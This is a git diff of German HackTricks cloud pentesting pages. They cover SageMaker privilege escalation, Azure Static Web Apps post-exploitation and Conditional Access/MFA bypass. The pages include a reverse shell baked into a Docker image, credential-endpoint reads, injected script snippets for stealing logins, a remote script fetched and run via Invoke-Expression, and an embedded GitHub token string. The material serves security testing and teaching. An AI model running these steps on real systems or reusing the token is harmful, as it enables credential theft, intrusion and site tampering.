Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

2025-12-29 06:03:26 -08:00 · 2025-01-05 22:58:21 +00:00
parent 014c64363b
commit 99a5b157bc
5 changed files with 301 additions and 30 deletions
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
@@ -12,12 +12,12 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
 --instance-type ml.t2.medium \
 --role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
 ```
-Die Antwort sollte ein Feld `NotebookInstanceArn` enthalten, das die ARN der neu erstellten Notebook-Instanz enthält. Wir können dann die API `create-presigned-notebook-instance-url` verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notebook-Instanz zuzugreifen, sobald sie bereit ist:
+Die Antwort sollte ein Feld `NotebookInstanceArn` enthalten, das die ARN der neu erstellten Notizbuchinstanz enthält. Wir können dann die API `create-presigned-notebook-instance-url` verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notizbuchinstanz zuzugreifen, sobald sie bereit ist:
 ```bash
 aws sagemaker create-presigned-notebook-instance-url \
 --notebook-instance-name <name>
 ```
-Navigieren Sie mit dem Browser zur URL und klicken Sie auf \`Open JupyterLab\` im oberen rechten Bereich, scrollen Sie dann zum Tab “Launcher” und klicken Sie im Abschnitt “Other” auf die Schaltfläche “Terminal”.
+Navigiere zur URL mit dem Browser und klicke auf \`Open JupyterLab\` in der oberen rechten Ecke, scrolle dann zum Tab “Launcher” und klicke im Abschnitt “Other” auf die Schaltfläche “Terminal”.

 Jetzt ist es möglich, auf die Metadaten-Anmeldeinformationen der IAM-Rolle zuzugreifen.

@@ -25,11 +25,11 @@ Jetzt ist es möglich, auf die Metadaten-Anmeldeinformationen der IAM-Rolle zuzu

 ### `sagemaker:CreatePresignedNotebookInstanceUrl`

-Wenn bereits Jupyter **Notebooks darauf ausgeführt werden** und Sie sie mit `sagemaker:ListNotebookInstances` auflisten können (oder sie auf andere Weise entdecken). Sie können **eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie im vorherigen Verfahren angegeben**.
+Wenn bereits Jupyter **Notebooks darauf laufen** und du sie mit `sagemaker:ListNotebookInstances` auflisten kannst (oder sie auf andere Weise entdecken kannst). Du kannst **eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie in der vorherigen Technik angegeben**.
 ```bash
 aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
 ```
-**Potenzielle Auswirkungen:** Privesc auf die mit der sagemaker-Service-Rolle verbundene Rolle.
+**Potenzielle Auswirkungen:** Privesc auf die mit der sagemaker-Dienstrolle verbundene Rolle.

 ### `sagemaker:CreateProcessingJob,iam:PassRole`

@@ -49,16 +49,16 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c

 ### `sagemaker:CreateTrainingJob`, `iam:PassRole`

-Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, **ein beliebiges Container** darauf ausführen mit einer **angehängten Rolle**. Daher wird der Angreifer in der Lage sein, die Anmeldeinformationen der Rolle zu stehlen.
+Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, **einen beliebigen Container** darauf ausführen und eine **angehängte Rolle** verwenden. Daher wird der Angreifer in der Lage sein, die Anmeldeinformationen der Rolle zu stehlen.

 > [!WARNING]
-> Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image erstellen müssen, das die rev shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).
+> Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image erstellen müssen, das die Rev-Shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).
 >
 > ```bash
 > # Docker-Image erstellen
 > mkdir /tmp/rev
 > ## Beachten Sie, dass der Trainingsjob ein ausführbares Programm namens "train" aufrufen wird
-> ## Deshalb lege ich die rev shell in /bin/train
+> ## Deshalb lege ich die Rev-Shell in /bin/train
 > ## Setzen Sie die Werte von <YOUR-IP-OR-DOMAIN> und <YOUR-PORT>
 > cat > /tmp/rev/Dockerfile <<EOF
 > FROM ubuntu
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
 ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

 Ein Angreifer mit diesen Berechtigungen wird (potenziell) in der Lage sein, einen **Hyperparameter-Trainingsjob** zu erstellen, **einen beliebigen Container** darauf auszuführen und eine **angehängte Rolle** zu verwenden.\
-&#xNAN;_&#x49; habe nicht ausgebeutet wegen Zeitmangel, sieht aber ähnlich aus wie die vorherigen Exploits, zögere nicht, einen PR mit den Ausnutzungsdetails zu senden._
+_Ich habe es aufgrund von Zeitmangel nicht ausgenutzt, aber es sieht ähnlich aus wie die vorherigen Exploits. Fühlen Sie sich frei, einen PR mit den Ausnutzungsdetails zu senden._

 ## Referenzen

--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md
@@ -0,0 +1,162 @@
+# Az - Static Web Apps Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Azure Static Web Apps
+
+Für weitere Informationen zu diesem Dienst siehe:
+
+{{#ref}}
+../az-services/az-static-web-apps.md
+{{#endref}}
+
+### Microsoft.Web/staticSites/snippets/write
+
+Es ist möglich, eine statische Webseite so zu gestalten, dass beliebiger HTML-Code geladen wird, indem ein Snippet erstellt wird. Dies könnte es einem Angreifer ermöglichen, JS-Code in die Webanwendung einzuschleusen und sensible Informationen wie Anmeldeinformationen oder mnemonische Schlüssel (in Web3-Wallets) zu stehlen.
+
+Der folgende Befehl erstellt ein Snippet, das immer von der Webanwendung geladen wird::
+```bash
+az rest \
+--method PUT \
+--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
+--headers "Content-Type=application/json" \
+--body '{
+"properties": {
+"name": "supersnippet",
+"location": "Body",
+"applicableEnvironmentsMode": "AllEnvironments",
+"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
+"environments": [],
+"insertBottom": false
+}
+}'
+```
+### Konfigurierte Drittanbieter-Anmeldeinformationen lesen
+
+Wie im Abschnitt App Service erklärt:
+
+{{#ref}}
+../az-privilege-escalation/az-app-services-privesc.md
+{{#endref}}
+
+Durch Ausführen des folgenden Befehls ist es möglich, die **Drittanbieter-Anmeldeinformationen** zu lesen, die im aktuellen Konto konfiguriert sind. Beachten Sie, dass Sie beispielsweise, wenn einige Github-Anmeldeinformationen in einem anderen Benutzer konfiguriert sind, nicht auf das Token eines anderen Benutzers zugreifen können.
+```bash
+az rest --method GET \
+--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
+```
+Dieser Befehl gibt Tokens für Github, Bitbucket, Dropbox und OneDrive zurück.
+
+Hier sind einige Beispielbefehle, um die Tokens zu überprüfen:
+```bash
+# GitHub – List Repositories
+curl -H "Authorization: token <token>" \
+-H "Accept: application/vnd.github.v3+json" \
+https://api.github.com/user/repos
+
+# Bitbucket – List Repositories
+curl -H "Authorization: Bearer <token>" \
+-H "Accept: application/json" \
+https://api.bitbucket.org/2.0/repositories
+
+# Dropbox – List Files in Root Folder
+curl -X POST https://api.dropboxapi.com/2/files/list_folder \
+-H "Authorization: Bearer <token>" \
+-H "Content-Type: application/json" \
+--data '{"path": ""}'
+
+# OneDrive – List Files in Root Folder
+curl -H "Authorization: Bearer <token>" \
+-H "Accept: application/json" \
+https://graph.microsoft.com/v1.0/me/drive/root/children
+```
+### Datei überschreiben - Routen, HTML, JS überschreiben...
+
+Es ist möglich, eine **Datei im Github-Repo** der App über Azure zu **überschreiben**, indem man den **Github-Token** verwendet und eine Anfrage wie die folgende sendet, die den Pfad der zu überschreibenden Datei, den Inhalt der Datei und die Commit-Nachricht angibt.
+
+Dies kann von Angreifern missbraucht werden, um im Grunde **den Inhalt der Webanwendung zu ändern**, um bösartige Inhalte bereitzustellen (Anmeldeinformationen, mnemonische Schlüssel stehlen...) oder einfach um **bestimmte Pfade** auf ihre eigenen Server umzuleiten, indem sie die Datei `staticwebapp.config.json` überschreiben.
+
+> [!WARNING]
+> Beachten Sie, dass ein Angreifer, wenn er es schafft, das Github-Repo auf irgendeine Weise zu kompromittieren, die Datei auch direkt von Github überschreiben kann.
+```bash
+curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
+-H "Content-Type: application/json" \
+-d '{
+"commit": {
+"message": "Update static web app route configuration",
+"branchName": "main",
+"committer": {
+"name": "Azure App Service",
+"email": "donotreply@microsoft.com"
+},
+"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
+"filePath": "staticwebapp.config.json",
+"message": "Update static web app route configuration",
+"repoName": "carlospolop/my-first-static-web-app",
+"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
+},
+"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
+}'
+```
+### Microsoft.Web/staticSites/config/write
+
+Mit dieser Berechtigung ist es möglich, das **Passwort** zu ändern, das eine statische Webanwendung schützt, oder sogar jede Umgebung zu entprotecten, indem man eine Anfrage wie die folgende sendet:
+```bash
+# Change password
+az rest --method put \
+--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
+--headers 'Content-Type=application/json' \
+--body '{
+"name": "basicAuth",
+"type": "Microsoft.Web/staticSites/basicAuth",
+"properties": {
+"password": "SuperPassword123.",
+"secretUrl": "",
+"applicableEnvironmentsMode": "AllEnvironments"
+}
+}'
+
+# Remove the need of a password
+az rest --method put \
+--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
+--headers 'Content-Type=application/json' \
+--body '{
+"name": "basicAuth",
+"type": "Microsoft.Web/staticSites/basicAuth",
+"properties": {
+"secretUrl": "",
+"applicableEnvironmentsMode": "SpecifiedEnvironments",
+"secretState": "None"
+}
+}'
+```
+### Microsoft.Web/staticSites/listSecrets/action
+
+Diese Berechtigung ermöglicht es, den **API-Schlüssel-Bereitstellungstoken** für die statische App abzurufen.
+
+Dieser Token ermöglicht die Bereitstellung der App.
+```bash
+az rest --method POST \
+--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
+```
+Dann könnten Sie, um eine App zu aktualisieren, den folgenden Befehl ausführen. Beachten Sie, dass dieser Befehl extrahiert wurde, um **zu überprüfen, wie Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funktioniert**, da es der ist, den Azure standardmäßig verwendet. Daher könnten sich das Bild und die Parameter in Zukunft ändern.
+
+1. Laden Sie das Repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) herunter (oder ein anderes Repo, das Sie bereitstellen möchten) und führen Sie `cd react-basic` aus.
+2. Ändern Sie den Code, den Sie bereitstellen möchten.
+3. Stellen Sie es bereit, indem Sie (denken Sie daran, das `<api-token>` zu ändern):
+```bash
+docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
+```
+### Microsoft.Web/staticSites/write
+
+Mit dieser Berechtigung ist es möglich, **den Quellcode der statischen Webanwendung auf ein anderes Github-Repository zu ändern**, jedoch wird es nicht automatisch bereitgestellt, da dies normalerweise über eine Github Action mit dem Token erfolgen muss, das die Aktion autorisiert hat, da dieses Token nicht automatisch in den Github-Geheimnissen des Repos aktualisiert wird (es wird nur automatisch hinzugefügt, wenn die App erstellt wird).
+```bash
+az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
+```
+### Microsoft.Web/staticSites/resetapikey/action
+
+Mit dieser Berechtigung ist es möglich, **den API-Schlüssel der statischen Webanwendung zurückzusetzen**, was potenziell die Workflows, die die Anwendung automatisch bereitstellen, DoSing kann.
+```bash
+az rest --method POST \
+--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
+```
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -1,30 +1,30 @@
-# Az - Bedingte Zugriffsrichtlinien & MFA-Umgehung
+# Az - Conditional Access Policies & MFA Bypass

 {{#include ../../../../banners/hacktricks-training.md}}

-## Grundlegende Informationen
+## Grundinformationen

-Azure-Bedingte Zugriffsrichtlinien sind Regeln, die in Microsoft Azure eingerichtet werden, um Zugriffskontrollen auf Azure-Dienste und -Anwendungen basierend auf bestimmten **Bedingungen** durchzusetzen. Diese Richtlinien helfen Organisationen, ihre Ressourcen zu sichern, indem sie die richtigen Zugriffskontrollen unter den richtigen Umständen anwenden.\
-Bedingte Zugriffsrichtlinien **definieren** im Wesentlichen **Wer** auf **Was** von **Wo** und **Wie** zugreifen kann.
+Azure Conditional Access-Richtlinien sind Regeln, die in Microsoft Azure eingerichtet sind, um Zugriffskontrollen für Azure-Dienste und -Anwendungen basierend auf bestimmten **Bedingungen** durchzusetzen. Diese Richtlinien helfen Organisationen, ihre Ressourcen zu sichern, indem sie die richtigen Zugriffskontrollen unter den richtigen Umständen anwenden.\
+Conditional Access-Richtlinien **definieren** im Wesentlichen **Wer** auf **Was** von **Wo** und **Wie** zugreifen kann.

 Hier sind ein paar Beispiele:

 1. **Anmelderisiko-Richtlinie**: Diese Richtlinie könnte so eingestellt werden, dass sie eine Multi-Faktor-Authentifizierung (MFA) erfordert, wenn ein Anmelderisiko erkannt wird. Zum Beispiel, wenn das Anmeldeverhalten eines Benutzers im Vergleich zu seinem regulären Muster ungewöhnlich ist, wie z.B. das Anmelden aus einem anderen Land, kann das System zusätzliche Authentifizierung anfordern.
 2. **Geräte-Compliance-Richtlinie**: Diese Richtlinie kann den Zugriff auf Azure-Dienste nur auf Geräte beschränken, die den Sicherheitsstandards der Organisation entsprechen. Beispielsweise könnte der Zugriff nur von Geräten erlaubt werden, die über aktuelle Antivirensoftware verfügen oder eine bestimmte Version des Betriebssystems ausführen.

-## Umgehungen von Bedingten Zugriffsrichtlinien
+## Umgehungen von Conditional Access-Richtlinien

-Es ist möglich, dass eine bedingte Zugriffsrichtlinie **einige Informationen überprüft, die leicht manipuliert werden können, was eine Umgehung der Richtlinie ermöglicht**. Und wenn beispielsweise die Richtlinie MFA konfiguriert hat, kann der Angreifer sie umgehen.
+Es ist möglich, dass eine Conditional Access-Richtlinie **einige Informationen überprüft, die leicht manipuliert werden können, was eine Umgehung der Richtlinie ermöglicht**. Und wenn beispielsweise die Richtlinie MFA konfiguriert hat, kann der Angreifer diese umgehen.

-Bei der Konfiguration einer bedingten Zugriffsrichtlinie ist es erforderlich, die **betroffenen Benutzer** und **Zielressourcen** (wie alle Cloud-Apps) anzugeben.
+Bei der Konfiguration einer Conditional Access-Richtlinie ist es erforderlich, die **betroffenen Benutzer** und **Zielressourcen** (wie alle Cloud-Apps) anzugeben.

-Es ist auch notwendig, die **Bedingungen** zu konfigurieren, die die Richtlinie **auslösen** werden:
+Es ist auch notwendig, die **Bedingungen** zu konfigurieren, die die Richtlinie **auslösen**:

 - **Netzwerk**: IP, IP-Bereiche und geografische Standorte
 - Kann umgangen werden, indem ein VPN oder Proxy verwendet wird, um sich mit einem Land zu verbinden oder sich von einer erlaubten IP-Adresse anzumelden
 - **Microsoft-Risiken**: Benutzer-Risiko, Anmelderisiko, Insider-Risiko
 - **Geräteplattformen**: Jedes Gerät oder Auswahl von Android, iOS, Windows Phone, Windows, macOS, Linux
- Wenn „Jedes Gerät“ nicht ausgewählt ist, aber alle anderen Optionen ausgewählt sind, ist es möglich, dies mit einem zufälligen User-Agent, der nicht mit diesen Plattformen verbunden ist, zu umgehen
+- Wenn „Jedes Gerät“ nicht ausgewählt ist, aber alle anderen Optionen ausgewählt sind, ist es möglich, dies mit einem zufälligen User-Agent zu umgehen, der nicht mit diesen Plattformen in Verbindung steht
 - **Client-Apps**: Optionen sind „Browser“, „Mobile Apps und Desktop-Clients“, „Exchange ActiveSync-Clients“ und „Andere Clients“
 - Um die Anmeldung mit einer nicht ausgewählten Option zu umgehen
 - **Filter für Geräte**: Es ist möglich, eine Regel zu erstellen, die sich auf das verwendete Gerät bezieht
@@ -44,19 +44,19 @@ Sie können den User-Agent **manuell** in den Entwicklertools ändern:

 <figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>

-&#x20;Oder verwenden Sie eine [Browsererweiterung wie diese](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
+Oder verwenden Sie eine [Browsererweiterung wie diese](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).

 ### Standorte: Länder, IP-Bereiche - Gerätebedingung

-Wenn dies in der bedingten Richtlinie festgelegt ist, könnte ein Angreifer einfach ein **VPN** im **erlaubten Land** verwenden oder versuchen, einen Weg zu finden, um von einer **erlaubten IP-Adresse** aus auf diese Bedingungen zuzugreifen.
+Wenn dies in der Conditional Access-Richtlinie festgelegt ist, könnte ein Angreifer einfach ein **VPN** im **erlaubten Land** verwenden oder versuchen, einen Weg zu finden, um von einer **erlaubten IP-Adresse** aus auf diese Bedingungen zuzugreifen.

 ### Cloud-Apps

-Es ist möglich, **bedingte Zugriffsrichtlinien zu konfigurieren, um zu blockieren oder zu erzwingen**, beispielsweise MFA, wenn ein Benutzer versucht, auf eine **spezifische App** zuzugreifen:
+Es ist möglich, **Conditional Access-Richtlinien zu konfigurieren, um zu blockieren oder zu erzwingen**, beispielsweise MFA, wenn ein Benutzer versucht, auf eine **spezifische App** zuzugreifen:

 <figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>

-Um zu versuchen, diesen Schutz zu umgehen, sollten Sie sehen, ob Sie **nur in eine Anwendung** gelangen können.\
+Um diesen Schutz zu umgehen, sollten Sie prüfen, ob Sie **nur in eine Anwendung** gelangen können.\
 Das Tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) hat **Dutzende von Anwendungs-IDs fest codiert** und wird versuchen, sich bei ihnen anzumelden und Ihnen Bescheid geben und Ihnen sogar das Token geben, wenn es erfolgreich ist.

 Um **spezifische Anwendungs-IDs in spezifischen Ressourcen zu testen**, könnten Sie auch ein Tool wie verwenden:
@@ -65,11 +65,11 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4

 <token>
 ```
-Darüber hinaus ist es auch möglich, die Anmeldemethode zu schützen (z. B. wenn Sie versuchen, sich über den Browser oder eine Desktopanwendung anzumelden). Das Tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) führt einige Überprüfungen durch, um zu versuchen, diese Schutzmaßnahmen zu umgehen.
+Darüber hinaus ist es auch möglich, die Anmeldemethode zu schützen (z. B. wenn Sie versuchen, sich über den Browser oder eine Desktop-Anwendung anzumelden). Das Tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) führt einige Überprüfungen durch, um zu versuchen, diese Schutzmaßnahmen zu umgehen.

 Das Tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) könnte ebenfalls für ähnliche Zwecke verwendet werden, obwohl es unmaintained aussieht.

-Das Tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kann ebenfalls verwendet werden, um diese Schutzmaßnahmen zu testen und zu sehen, ob es möglich ist, MFAs oder Sperren zu umgehen, aber dieses Tool funktioniert aus einer **whitebox** Perspektive. Zuerst müssen Sie die Liste der im Mandanten erlaubten Apps herunterladen und dann wird es versuchen, sich in diese einzuloggen.
+Das Tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kann ebenfalls verwendet werden, um diese Schutzmaßnahmen zu testen und zu sehen, ob es möglich ist, MFAs oder Sperren zu umgehen, aber dieses Tool funktioniert aus einer **whitebox** Perspektive. Zuerst müssen Sie die Liste der im Mandanten erlaubten Apps herunterladen und dann wird versucht, sich bei ihnen anzumelden.

 ## Andere Az MFA Umgehungen

@@ -78,11 +78,11 @@ Das Tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kann ebenfalls verw
 Eine Azure MFA-Option besteht darin, **einen Anruf an die konfigurierte Telefonnummer zu erhalten**, bei dem der Benutzer gebeten wird, **das Zeichen `#` zu senden**.

 > [!CAUTION]
-> Da Zeichen nur **Töne** sind, könnte ein Angreifer die **Voicemail**-Nachricht der Telefonnummer **kompromittieren**, die Nachricht als **Ton von `#`** konfigurieren und dann, wenn die MFA angefordert wird, sicherstellen, dass das **Telefon des Opfers besetzt ist** (indem er es anruft), sodass der Azure-Anruf an die Voicemail umgeleitet wird.
+> Da Zeichen nur **Töne** sind, könnte ein Angreifer die **Voicemail**-Nachricht der Telefonnummer **kompromittieren**, die Nachricht so konfigurieren, dass der **Ton von `#`** wiedergegeben wird, und dann, wenn die MFA angefordert wird, sicherstellen, dass das **Telefon des Opfers besetzt ist** (indem er es anruft), sodass der Azure-Anruf an die Voicemail umgeleitet wird.

 ### Konforme Geräte

-Richtlinien verlangen oft ein konformes Gerät oder MFA, sodass ein **Angreifer ein konformes Gerät registrieren**, ein **PRT**-Token erhalten und **auf diese Weise die MFA umgehen** könnte.
+Richtlinien verlangen oft ein konformes Gerät oder MFA, sodass ein **Angreifer ein konformes Gerät registrieren** könnte, ein **PRT**-Token erhalten und **auf diese Weise die MFA umgehen**.

 Beginnen Sie mit der Registrierung eines **konformen Geräts in Intune**, dann **holen Sie sich das PRT** mit:
 ```powershell
@@ -106,24 +106,24 @@ Finden Sie weitere Informationen zu dieser Art von Angriff auf der folgenden Sei

 Dieses Skript erhält einige Benutzeranmeldeinformationen und überprüft, ob es sich bei einigen Anwendungen anmelden kann.

-Dies ist nützlich, um zu sehen, ob Sie **kein MFA benötigen, um sich bei einigen Anwendungen anzumelden**, die Sie später möglicherweise missbrauchen, um **Privilegien zu eskalieren**.
+Dies ist nützlich, um zu sehen, ob Sie **kein MFA benötigen, um sich bei einigen Anwendungen anzumelden**, die Sie später möglicherweise missbrauchen können, um **Privilegien zu eskalieren**.

 ### [roadrecon](https://github.com/dirkjanm/ROADtools)

-Holen Sie sich alle Richtlinien.
+Erhalten Sie alle Richtlinien.
 ```bash
 roadrecon plugin policies
 ```
 ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)

-MFASweep ist ein PowerShell-Skript, das versucht, **sich bei verschiedenen Microsoft-Diensten mit einem bereitgestellten Satz von Anmeldeinformationen anzumelden und zu überprüfen, ob MFA aktiviert ist**. Je nachdem, wie die bedingten Zugriffsrichtlinien und andere Einstellungen zur Multi-Faktor-Authentifizierung konfiguriert sind, können einige Protokolle als Einzel-Faktor verbleiben. Es gibt auch eine zusätzliche Überprüfung der ADFS-Konfigurationen und kann versuchen, sich beim lokalen ADFS-Server anzumelden, wenn dieser erkannt wird.
+MFASweep ist ein PowerShell-Skript, das versucht, **sich mit einem bereitgestellten Satz von Anmeldeinformationen bei verschiedenen Microsoft-Diensten anzumelden und zu überprüfen, ob MFA aktiviert ist**. Je nachdem, wie die bedingten Zugriffsrichtlinien und andere Einstellungen zur Multi-Faktor-Authentifizierung konfiguriert sind, können einige Protokolle als Einzelfaktor verbleiben. Es gibt auch eine zusätzliche Überprüfung der ADFS-Konfigurationen und kann versuchen, sich beim lokalen ADFS-Server anzumelden, wenn dieser erkannt wird.
 ```bash
 Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
 Invoke-MFASweep -Username <username> -Password <pass>
 ```
 ### [ROPCI](https://github.com/wunderwuzzi23/ropci)

-Dieses Tool hat dabei geholfen, MFA-Umgehungen zu identifizieren und dann APIs in mehreren Produktions-AAD-Mandanten auszunutzen, bei denen AAD-Kunden glaubten, dass MFA durchgesetzt war, aber die Authentifizierung basierend auf ROPC erfolgreich war.
+Dieses Tool hat dabei geholfen, MFA-Umgehungen zu identifizieren und dann APIs in mehreren Produktions-AAD-Mandanten auszunutzen, in denen AAD-Kunden glaubten, dass MFA durchgesetzt sei, aber die Authentifizierung basierend auf ROPC erfolgreich war.

 > [!TIP]
 > Sie müssen die Berechtigungen haben, um alle Anwendungen aufzulisten, um die Liste der Apps zu generieren, die brute-forced werden sollen.
@@ -135,7 +135,7 @@ Dieses Tool hat dabei geholfen, MFA-Umgehungen zu identifizieren und dann APIs i
 ```
 ### [donkeytoken](https://github.com/silverhack/donkeytoken)

-Donkey token ist eine Sammlung von Funktionen, die Sicherheitsberatern helfen sollen, die Conditional Access Policies zu validieren, Tests für 2FA-aktivierte Microsoft-Portale durchzuführen usw..
+Donkey token ist eine Sammlung von Funktionen, die Sicherheitsberatern helfen sollen, Conditional Access Policies zu validieren, Tests für 2FA-aktivierte Microsoft-Portale durchzuführen usw.

 <pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
 </strong><strong>Import-Module '.\donkeytoken' -Force
--- a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
@@ -0,0 +1,109 @@
+# Az - Statische Web-Apps
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Grundinformationen zu statischen Web-Apps
+
+Azure Static Web Apps ist ein Cloud-Dienst zum Hosten von **statischen Web-Apps mit automatischem CI/CD aus Repositories wie GitHub**. Es bietet globale Inhaltsbereitstellung, serverlose Backends und integriertes HTTPS, was es sicher und skalierbar macht. Zu den Risiken gehören jedoch falsch konfigurierte CORS, unzureichende Authentifizierung und Inhaltsmanipulation, die Apps Angriffen wie XSS und Datenlecks aussetzen können, wenn sie nicht ordnungsgemäß verwaltet werden.
+
+> [!TIP]
+> Wenn eine statische App erstellt wird, können Sie die **Bereitstellungsautorisierungspolitik** zwischen **Bereitstellungstoken** und **GitHub Actions-Workflow** wählen.
+
+
+### Web-App-Authentifizierung
+
+Es ist möglich, **ein Passwort zu konfigurieren**, um auf die Web-App zuzugreifen. Die Web-Konsole ermöglicht es, dies so zu konfigurieren, dass nur Staging-Umgebungen oder sowohl Staging- als auch Produktionsumgebungen geschützt werden.
+
+So sieht eine passwortgeschützte Web-App zum Zeitpunkt des Schreibens aus:
+
+<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
+
+
+Es ist möglich zu sehen, **ob ein Passwort verwendet wird** und welche Umgebungen geschützt sind mit:
+```bash
+az rest --method GET \
+--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
+```
+Allerdings **wird das das Passwort nicht im Klartext anzeigen**, sondern nur etwas wie: `"password": "**********************"`.
+
+### Routen
+
+Routen definieren **wie eingehende HTTP-Anfragen innerhalb einer statischen Webanwendung behandelt werden**. Konfiguriert in der **`staticwebapp.config.json`**-Datei, steuern sie URL-Umschreibungen, Weiterleitungen, Zugriffsrestriktionen und rollenbasierte Autorisierung, um eine ordnungsgemäße Ressourcenverwaltung und Sicherheit zu gewährleisten.
+
+Einige Beispiele:
+```json
+{
+"routes": [
+{
+"route": "/",
+"rewrite": "/index.html"
+},
+{
+"route": "/about",
+"rewrite": "/about.html"
+},
+{
+"route": "/api/*",
+"allowedRoles": ["authenticated"]
+},
+{
+"route": "/admin",
+"redirect": "/login",
+"statusCode": 302
+}
+],
+"navigationFallback": {
+"rewrite": "/index.html",
+"exclude": ["/api/*", "/assets/*"]
+}
+}
+```
+## Aufzählung
+```bash
+# List Static Webapps
+az staticwebapp list --output table
+
+# Get Static Webapp details
+az staticwebapp show --name <name> --resource-group <res-group> --output table
+
+# Get appsettings
+az staticwebapp appsettings list --name <name>
+
+# Get env information
+az staticwebapp environment list --name <name>
